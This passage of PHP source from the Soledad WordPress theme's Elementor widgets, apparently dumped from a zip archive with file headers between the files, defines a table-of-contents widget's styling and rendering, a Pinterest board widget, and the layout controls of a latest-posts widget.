				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'button_shadow',
				'selector' => '{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button'
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				'selector' => '{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_ofc_btn_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'ofc_btn_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button:hover'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button:hover svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'ofc_btn_hover_bg',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'ofc_btn_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'ofc_btn_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
	}

	protected function render() {
		$id       = 'penci-el-toc-toc-' . $this->get_id();

		$this->add_render_attribute( 'toc-wrapper', 'class', 'penci-el-toc-wrapper penci-toc-wrapper penci-toc-default' );
		$this->add_render_attribute( 'toc-wrapper', 'id', esc_attr( $id ) );

		?>
        <div <?php $this->print_render_attribute_string( 'toc-wrapper' ); ?>>
            <div>
				<?php $this->table_of_content_header(); ?>
				<?php $this->table_of_content(); ?>
            </div>
        </div>
		<?php
	}

	private function table_of_content_header() {
		$settings = $this->get_settings_for_display();

		if ( empty( $settings['toc_index_header'] ) ) {
			return;
		}
		?>
        <div class="penci-el-toc-table-of-content-header">
            <h4><?php echo esc_html( $settings['toc_index_header'] ); ?></h4>
        </div>
		<?php
	}

	private function table_of_content() {
		$settings = $this->get_settings_for_display();

		$this->add_render_attribute(
			[
				'table-of-content' => [
					'data-settings' => [
						wp_json_encode( [
							'context'        => $settings['context'],
							'selectors'      => implode( ',', $settings['selectors'] ),
							'ignoreSelector' => '.ignore-this-tag [class*="-heading-title"]',
							'showAndHide'    => $settings['auto_collapse'] ? true : false,
							'scrollTo'       => $settings['offset']['size'],
							'history'        => $settings['history'] ? true : false,
							'extendPage'     => $settings['extend_page'] ? true : false,
							'hashGenerator'  => 'pretty',
						] )
					]
				]
			]
		);

		?>
        <div class="penci-el-toc-table-of-content" <?php $this->print_render_attribute_string( 'table-of-content' ); ?>></div>
		<?php
	}
}PK     1w\\    -  elementor/modules/penci-pintersest/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPintersest;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-pintersest';
	}

	public function get_widgets() {
		return array( 'PenciPintersest' );
	}
}
PK     1w\o/
t  t  ?  elementor/modules/penci-pintersest/widgets/penci-pintersest.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPintersest\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPintersest extends Base_Widget {

	public function get_name() {
		return 'penci-pintersest';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Pinterest', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'pinterest' );
	}
	
	protected function register_controls() {
		

		$this->start_controls_section(
			'section_pinterest', array(
				'label' => esc_html__( 'Pinterest', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'pusername', array(
				'label'       =>  __( 'Enter the <strong style="color: #ff0000;">username</strong> or <strong style="color: #ff0000;">username/board_name</strong> for load images:', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => 'thefirstmess/animals-cuteness',
				'label_block' => true,
				'description' => __('Example if you want to load a board has url <strong style="color: #ff0000;"><a href="https://www.pinterest.com/thefirstmess/animals-cuteness" target="_blank">https://www.pinterest.com/thefirstmess/animals-cuteness</a></strong> You need to fill <strong style="color: #ff0000;">thefirstmess/animals-cuteness</strong>','soledad' ),
			)
		);
		$this->add_control(
			'pnumbers', array(
				'label'       => __( 'Number of images to show', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 9,
			)
		);

		$this->add_control(
			'pcache', array(
				'label'       => __( 'Cache life time ( unit is seconds )', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 1200,
			)
		);

		$this->add_control(
			'pfollow', array(
				'label'     => esc_html__( 'Display more link with username text?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => 'yes',
			)
		);


		$this->end_controls_section();
		$this->register_block_title_section_controls();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-block-vc penci-pintersest';

		$pusername = $settings['pusername'];
		$pnumbers  = $settings['pnumbers'];
		$pcache    = $settings['pcache'];
		$pfollow   = $settings['pfollow'];
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div class="penci-pinterest-widget-container">
					<?php
					if ( ! $pusername ) {
						esc_html_e( 'Pinterest data error: pinterest data is not set, please check the ID', 'soledad' );
					}
					$pinboard = new \Penci_Pinterest();
					$pinboard->render_html( $pusername, $pnumbers, $pcache, $pfollow );
					?>
				</div>
			</div>
		</div>
		<?php
	}
}
PK     1w\"N@g  g  /  elementor/modules/penci-latest-posts/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciLatestPosts;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-latest-posts';
	}

	public function get_widgets() {
		return array( 'PenciLatestPosts' );
	}
}
PK     1w\zHc Hc C  elementor/modules/penci-latest-posts/widgets/penci-latest-posts.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciLatestPosts\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;


if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciLatestPosts extends Base_Widget {

	public function get_name() {
		return 'penci-latest-posts';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Latest Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'post', 'cpt', 'item', 'loop', 'query', 'cards', 'custom post type', 'latest', 'recent' );
	}

	public function get_script_depends() {
		return [ 'penci_ajax_filter_latest' ];
	}

	protected function register_controls() {


		$style_big_post   = array(
			'mixed',
			'mixed-4',
			'mixed-3',
			'mixed-2',
			'mixed-larger',
			'standard-grid',
			'standard-grid-2',
			'standard-list',
			'standard-boxed-1',
			'classic-grid',
			'classic-grid-2',
			'classic-list',
			'classic-boxed-1',
			'overlay-grid',
			'overlay-grid-2',
			'overlay-list',
			'overlay-boxed-1'
		);
		$color_big_post   = array( 'mixed-2', 'overlay-grid', 'overlay-grid-2', 'overlay-list', 'overlay-boxed-1' );
		$style_extra_post = array( 'featured', 'mixed-4' );

		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'penci_style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'grid',
			'options' => array(
				'standard'         => esc_html__( 'Standard Posts', 'soledad' ),
				'classic'          => esc_html__( 'Classic Posts', 'soledad' ),
				'overlay'          => esc_html__( 'Overlay Posts', 'soledad' ),
				'featured'         => esc_html__( 'Featured Boxed', 'soledad' ),
				'grid'             => esc_html__( 'Grid Posts', 'soledad' ),
				'grid-boxed'       => esc_html__( 'Grid Boxed', 'soledad' ),
				'grid-boxed-2'     => esc_html__( 'Grid Boxed 2', 'soledad' ),
				'grid-boxed-3'     => esc_html__( 'Grid Boxed 3', 'soledad' ),
				'grid-boxed-4'     => esc_html__( 'Grid Boxed 4', 'soledad' ),
				'grid-2'           => esc_html__( 'Grid 2 Columns Posts', 'soledad' ),
				'masonry'          => esc_html__( 'Grid Masonry Posts', 'soledad' ),
				'masonry-2'        => esc_html__( 'Grid Masonry 2 Columns Posts', 'soledad' ),
				'list'             => esc_html__( 'List Posts', 'soledad' ),
				'list-boxed'       => esc_html__( 'List Boxed Posts', 'soledad' ),
				'list-boxed-2'     => esc_html__( 'List Boxed Posts 2', 'soledad' ),
				'list-boxed-3'     => esc_html__( 'List Boxed Posts 3', 'soledad' ),
				'timeline'         => __( 'Timeline', 'soledad' ),
				'small-list'       => esc_html__( 'Small List Posts', 'soledad' ),
				'boxed-1'          => esc_html__( 'Boxed Posts Style 1', 'soledad' ),
				'boxed-2'          => esc_html__( 'Boxed Posts Style 2', 'soledad' ),
				'photography'      => esc_html__( 'Photography Posts', 'soledad' ),
				'mixed'            => esc_html__( 'Mixed Posts', 'soledad' ),
				'mixed-2'          => esc_html__( 'Mixed Posts Style 2', 'soledad' ),
				'mixed-larger'     => esc_html__( 'Mixed Posts Larger', 'soledad' ),
				'mixed-3'          => esc_html__( 'Mixed Posts Style 3', 'soledad' ),
				'mixed-4'          => esc_html__( 'Mixed Posts Style 4', 'soledad' ),
				'standard-grid'    => esc_html__( '1st Standard Then Grid', 'soledad' ),
				'standard-grid-2'  => esc_html__( '1st Standard Then Grid 2 Columns', 'soledad' ),
				'standard-list'    => esc_html__( '1st Standard Then List', 'soledad' ),
				'standard-boxed-1' => esc_html__( '1st Standard Then Boxed', 'soledad' ),
				'classic-grid'     => esc_html__( '1st Classic Then Grid', 'soledad' ),
				'classic-grid-2'   => esc_html__( '1st Classic Then Grid 2 Columns', 'soledad' ),
				'classic-list'     => esc_html__( '1st Classic Then List', 'soledad' ),
				'classic-boxed-1'  => esc_html__( '1st Classic Then Boxed', 'soledad' ),
				'overlay-grid'     => esc_html__( '1st Overlay Then Grid', 'soledad' ),
				'overlay-grid-2'   => esc_html__( '1st Overlay Then Grid 2 Columns', 'soledad' ),
				'overlay-list'     => esc_html__( '1st Overlay Then List', 'soledad' ),
				'overlay-boxed-1'  => esc_html__( '1st Overlay Then Boxed', 'soledad' ),
			)
		) );

		$this->add_control( 'penci_boxed_dcol', array(
			'label'     => __( 'Desktop Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '3',
			'options'   => array(
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
				'5' => esc_html__( '5 Columns', 'soledad' ),
			),
			'condition' => array(
				'penci_style' => array(
					'grid',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'masonry'
				)
			),
		) );

		$this->add_control( 'penci_boxed_tcol', array(
			'label'     => __( 'Tablet Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '3',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
			),
			'condition' => array(
				'penci_style' => array(
					'grid',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'masonry'
				)
			),
		) );

		$this->add_control( 'penci_boxed_mcol', array(
			'label'     => __( 'Mobile Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '2',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
			),
			'condition' => array(
				'penci_style' => array(
					'grid',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'masonry'
				)
			),
		) );

		$this->add_control( 'penci_mixed_style', array(
			'label'     => __( 'Mixed Post Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 's1',
			'options'   => array(
				's1' => esc_html__( 'Style 1', 'soledad' ),
				's2' => esc_html__( 'Style 2', 'soledad' ),
			),
			'condition' => array( 'penci_style' => array( 'mixed', 'mixed-2' ) ),
		) );
		$this->add_control( 'post_alignment', array(
			'label'       => __( 'Post Header Alignment', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left'
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center'
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right'
				)
			),
			'condition'   => array( 'penci_style!' => array( 'overlay', 'boxed-2', 'photography' ) ),
		) );

		$this->add_responsive_control( 'penci_items_martop', array(
			'label'       => __( 'Rows Gap Between Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-grid'                                                                                                                                                                                                                                                                                                             => 'row-gap:0',
				'{{WRAPPER}} .penci-grid > li, {{WRAPPER}} .grid-featured, {{WRAPPER}} .penci-grid li.typography-style, {{WRAPPER}} .grid-mixed, {{WRAPPER}} .penci-grid .list-post.list-boxed-post, {{WRAPPER}} .penci-masonry .item-masonry, {{WRAPPER}} article.standard-article, {{WRAPPER}} .penci-grid li.list-post, {{WRAPPER}} .grid-overlay' => 'margin-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-el.penci-latest-posts-mixed .penci-grid > li.grid-style:nth-last-of-type(2)' => 'margin-bottom: {{SIZE}}px!important;',
				'{{WRAPPER}} .penci-grid li.list-post'                                                                                                                                                                                                                                                                                                => 'padding-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp'                                                                                                                                                                                            => 'padding-bottom: 0px; margin-bottom: 0px; padding-top: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp'                                                                                                                                                            => 'margin-top: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.list-post.penci-slistp:last-child, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.list-post.penci-slistp:last-child'                                                                                                                                                  => 'margin-bottom: {{SIZE}}px;'
			),
			'label_block' => true,
		) );

		$this->add_responsive_control( 'penci_items_marlr', array(
			'label'          => __( 'Horizontal Gap Between Post Items', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => '' ),
			'mobile_default' => [
				'size' => 0
			],
			'range'          => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'      => array(
				'{{WRAPPER}} .penci-grid'                  => '--pcrgap:{{SIZE}}{{UNIT}};column-gap:{{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-wrap-masonry'          => 'margin-left:calc({{SIZE}}{{UNIT}}/2*-1);margin-right:calc({{SIZE}}{{UNIT}}/2*-1)',
				'{{WRAPPER}} .penci-masonry .item-masonry' => 'padding-left:calc({{SIZE}}{{UNIT}}/2);padding-right:calc({{SIZE}}{{UNIT}}/2)',
			),
			'label_block'    => true,
			'condition'      => [
				'penci_style!' => [
					'standard',
					'classic',
					'overlay',
					'featured',
					'overlay-boxed-1',
					'overlay-list',
					'standard-list',
					'small-list',
					'list',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3',
				]
			],
		) );

		$this->add_responsive_control( 'penci_bitems_martop', array(
			'label'       => __( 'Rows Gap for Big Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .grid-featured, {{WRAPPER}} .grid-mixed, {{WRAPPER}} article.standard-article, {{WRAPPER}} .grid-overlay' => 'margin-bottom: {{SIZE}}px;',
			),
			'label_block' => true,
			'condition'   => array(
				'penci_style' => array(
					'mixed',
					'mixed-2',
					'mixed-4',
					'standard-grid',
					'standard-list',
					'standard-grid-2',
					'standard-boxed',
					'classic-grid',
					'classic-list',
					'classic-grid-2',
					'classic-boxed',
					'overlay-grid',
					'overlay-list',
					'overlay-grid-2',
					'overlay-boxed'
				)
			),
		) );

		$this->add_responsive_control( 'penci_sitems_martop', array(
			'label'       => __( 'Rows Gap for Small List Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-grid li.penci-slistp'                                                                                                                                  => 'margin-bottom: {{SIZE}}px; padding-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp'                                 => 'padding-bottom: 0px; margin-bottom: 0px; padding-top: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp' => 'margin-top: {{SIZE}}px;',
			),
			'label_block' => true,
			'condition'   => array( 'penci_style' => array( 'mixed-3', 'mixed-4' ) ),
		) );

		$this->add_control( 'penci_paging', array(
			'label'     => __( 'Page Navigation Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'numbers',
			'options'   => array(
				'numbers'  => esc_html__( 'Page Navigation Numbers', 'soledad' ),
				'nextprev' => esc_html__( 'Ajax Next/Previous', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Posts', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
				'none'     => esc_html__( 'None', 'soledad' ),
			),
			'separator' => 'before'
		) );
		$this->add_control( 'morenum', array(
			'label'       => __( 'Custom Number Posts for Each Time Load More Posts', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 6,
			'label_block' => true,
			'condition'   => array( 'penci_paging' => array( 'loadmore', 'scroll' ) ),
		) );
		$this->add_responsive_control( 'penci_paging_martop', array(
			'label'       => __( 'Margin Top for Page Navigation', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-latest-posts-el .penci-pagination' => 'margin-top: {{SIZE}}{{UNIT}} !important'
			),
			'label_block' => true,
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_standard_classic_layout', array(
			'label' => esc_html__( 'Standard & Classic Layouts Options', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$standard_classic_opts = array(
			'standard_meta_overlay'   => array(
				'label'   => 'Enable Post Meta Overlay Featured Image',
				'desc'    => 'This option just apply for Standard Layout Only',
				'default' => ''
			),
			'standard_thumbnail'      => array( 'label' => 'Hide Post Thumbnail', 'desc' => '', 'default' => '' ),
			'std_dis_at_gallery'      => array(
				'label'   => 'Disable Autoplay for Slider on Posts Format Gallery',
				'desc'    => '',
				'default' => ''
			),
			'standard_thumb_crop'     => array(
				'label'   => 'Make Featured Image Auto Crop',
				'desc'    => '',
				'default' => ''
			),
			'standard_share_box'      => array( 'label' => 'Hide Share Icons', 'desc' => '', 'default' => '' ),
			'standard_cat'            => array( 'label' => 'Hide Category', 'desc' => '', 'default' => '' ),
			'standard_cat_move'       => array( 'label' => 'Move Category to Meta section', 'desc' => '', 'default' => '' ),
			'standard_author'         => array( 'label' => 'Hide Post Author', 'desc' => '', 'default' => '' ),
			'standard_date'           => array( 'label' => 'Hide Post Date', 'desc' => '', 'default' => '' ),
			'standard_comment'        => array( 'label' => 'Hide Comment Count', 'desc' => '', 'default' => '' ),
			'standard_viewscount'     => array( 'label' => 'Show Views Count', 'desc' => '', 'default' => '' ),
			'standard_readtime'       => array( 'label' => 'Hide Reading Time', 'desc' => '', 'default' => '' ),
			'standard_remove_line'    => array(
				'label'   => 'Remove Line Above Post Excerpt',
				'desc'    => '',
				'default' => ''
			),
			'standard_auto_excerpt'   => array(
				'label'   => 'Showing Post Excerpt Instead of Full Content',
				'desc'    => '',
				'default' => 'yes'
			),
			'standard_remove_excerpt' => array(
				'label'   => 'Hide Post Content/Post Excerpt',
				'desc'    => '',
				'default' => ''
			),
			'standard_effect_button'  => array(
				'label'   => 'Disable Hover Effect on "Continue Reading" Button',
				'desc'    => '',
				'default' => ''
			),
		);

		foreach ( $standard_classic_opts as $standard_classic_key => $standard_classic_opt ) {
			$this->add_control( $standard_classic_key, array(
				'label'       => $standard_classic_opt['label'],
				'type'        => Controls_Manager::SWITCHER,
				'description' => $standard_classic_opt['desc'],
				'default'     => $standard_classic_opt['default'],
			) );
		}

		$this->add_responsive_control( 'penci_standard_featimg_ratio', array(
			'label'          => __( 'Custom Thumbnail Ratio', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => '' ),
			'tablet_default' => array( 'size' => '' ),
			'mobile_default' => array( 'size' => '' ),
			'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'condition'      => array(
				'standard_thumbnail!' => 'yes',
			),
			'selectors'      => array(
				'{{WRAPPER}} .standard-post-image a > img' => 'aspect-ratio: 1 / {{SIZE}};object-fit: cover;',
			),
		) );

		$this->add_control( 'std_continue_btn', array(
			'label'     => 'Make "Continue Reading" is A Button',
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'standard_auto_excerpt' => 'yes' ),
		) );

		$this->add_control( 'std_excerpt_align', array(
			'label'   => __( 'Post Excerpt Alignment', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'center',
			'options' => array(
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
		) );

		$this->add_control( 'standard_title_tag', array(
			'label'   => __( 'Title HTML Tag', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''   => esc_html__( 'Default', 'soledad' ),
				'h1' => esc_html__( 'H1', 'soledad' ),
				'h2' => esc_html__( 'H2', 'soledad' ),
				'h3' => esc_html__( 'H3', 'soledad' ),
				'h4' => esc_html__( 'H4', 'soledad' ),
				'h5' => esc_html__( 'H5', 'soledad' ),
				'h6' => esc_html__( 'H6', 'soledad' ),
			),
		) );

		$this->add_control( 'standard_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
		) );
		$this->add_control( 'standard_excerpt_length', array(
			'label' => __( 'Custom Excerpt Length', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
		) );
		$this->add_responsive_control( 'standard_excerpt_lines', array(
			'label'     => __( 'Maximum Excerpt Lines', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'selectors' => array(
				'{{WRAPPER}} .standard-content .standard-post-entry' => 'overflow: hidden;display: -webkit-box;-webkit-line-clamp:{{VALUE}};line-clamp:{{VALUE}};-webkit-box-orient: vertical;',
			),
		) );
		$this->add_control( 'std_continue_align', array(
			'label'     => __( 'Align "Continue Reading" Button', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'center',
			'options'   => array(
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
			'condition' => array( 'penci_style!' => array( 'overlay', 'boxed-1', 'boxed-2', 'photography' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_order_layouts_layout', array(
			'label' => esc_html__( 'Other Layouts Options', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'order_layouts_note', array(
			'type'            => Controls_Manager::RAW_HTML,
			'content_classes' => 'elementor-descriptor',
		) );

		$this->add_control( 'penci_featimg_size', array(
			'label'                => __( 'Image Size Type', 'soledad' ),
			'type'                 => Controls_Manager::SELECT,
			'default'              => '',
			'options'              => array(
				''           => esc_html__( 'Default', 'soledad' ),
				'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
				'square'     => esc_html__( 'Square Size', 'soledad' ),
				'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
				'custom'     => esc_html__( 'Custom', 'soledad' ),
			),
			'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
			'selectors_dictionary' => array(
				'horizontal' => 'padding-top: 66.6667%;',
				'square'     => 'padding-top: 100%;',
				'vertical'   => 'padding-top: 135.4%;',
			),
			'condition'            => array( 'penci_style!' => array( 'masonry-2', 'masonry' ) ),
		) );
		$this->add_responsive_control( 'penci_featimg_ratio', array(
			'label'          => __( 'Image Ratio', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => 0.66 ),
			'tablet_default' => array( 'size' => '' ),
			'mobile_default' => array( 'size' => 0.5 ),
			'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'selectors'      => array(
				'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
			),
			'condition'      => array( 'penci_featimg_size' => 'custom' ),
		) );

		$this->add_control( 'thumb_size', array(
			'label'     => __( 'Custom Image Size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'penci_featimg_size' => 'custom' ),
		) );

		$this->add_control( 'thumb_bigsize', array(
			'label'       => __( 'Custom Image Size for Big Posts', 'soledad' ),
			'description' => __( 'This option apply for Overlay Posts & Big Posts on "Mixed Post" & "Mixed Posts Large" Layout', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => '',
			'options'     => $this->get_list_image_sizes( true ),
			'condition'   => array( 'penci_featimg_size' => 'custom' ),
		) );

		$this->add_responsive_control( 'order_columns', array(
			'label'          => __( 'Columns', 'soledad' ),
			'type'           => Controls_Manager::SELECT,
			'default'        => '',
			'tablet_default' => '1',
			'mobile_default' => '1',
			'options'        => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'condition'      => array( 'penci_style' => array( 'masonry-2', 'masonry' ) ),
		) );


		$this->add_control( 'order_column_gap', array(
			'label'     => __( 'Columns Gap', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-wrap-masonry'          => 'margin-right: calc({{SIZE}}{{UNIT}} * -1 / 2); margin-left: calc( {{SIZE}}{{UNIT}} * -1 / 2 )',
				'{{WRAPPER}} .penci-masonry .item-masonry' => 'padding-right: calc({{SIZE}}{{UNIT}} / 2); padding-left: calc({{SIZE}}{{UNIT}} / 2)',
			),
			'condition' => array( 'penci_style' => array( 'masonry' ) ),
		) );

		$this->add_control( 'rmborder_bottom', array(
			'label'     => __( 'Remove Border Bottom on List Layouts', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li.list-post'                                                                                                                                                                                                                                   => 'padding-bottom: 0; border-bottom: none;',
				'{{WRAPPER}} .penci-layout-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-layout-mixed-4 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp' => 'border-top: none; padding-top: 0;',
			),
		) );

		$this->add_control( 'share_rmborder', array(
